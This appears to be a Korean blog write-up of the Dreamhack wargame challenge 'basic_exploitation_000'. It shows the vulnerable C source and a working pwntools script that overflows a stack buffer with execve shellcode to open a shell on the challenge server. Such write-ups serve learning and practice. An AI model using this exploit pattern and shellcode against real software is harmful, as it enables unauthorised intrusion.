Fascination
article thumbnail

basic_exploitation_000

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.


 

# 문제 분석

- basic_exploitation_000.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf); // buf의 시작 주소 leak
    scanf("%141s", buf); // bof 발생

    return 0;
}

 

- Debugging

  • buf의 크기가 0x80 이므로 buffer overflow를 위해서는 shellcode + dummy(0x80) + ebp(0x4) + ret(0x4)만큼을 payload로 덮어씌워야 함

 

 

# exploit

- shellcraft로 쉘을 만들어 사용하려 했는데, 잘 안되는 것 같아 그냥 인터넷에서 쉘코드를 복사해왔다

* scanf를 통해 입력되는 쉘코드 중 특정 문자열부터 날리는게 있다고 주워들었는데 뭐였을까...

from pwn import *
p = remote('host3.dreamhack.games', 13622)


p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
p.recvuntil(")")
print(buf)
shellcode = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload = shellcode
payload += b"\x90"*(0x80-len(shellcode))
payload += b"\x90"*0x4 # ebp(0x4)
payload += p32(buf) # ret(0x4)

p.sendline(payload)
p.interactive()

 

 

# 실행결과

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] Return Address Overwrite  (0) 2022.09.01
[Dreamhack] basic_exploitation_001  (0) 2022.09.01
[Dreamhack] shell_basic  (0) 2022.08.31
[Dreamhack] simple_sqli  (0) 2022.03.10
[Dreamhack] CSRF-2  (0) 2022.03.01
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!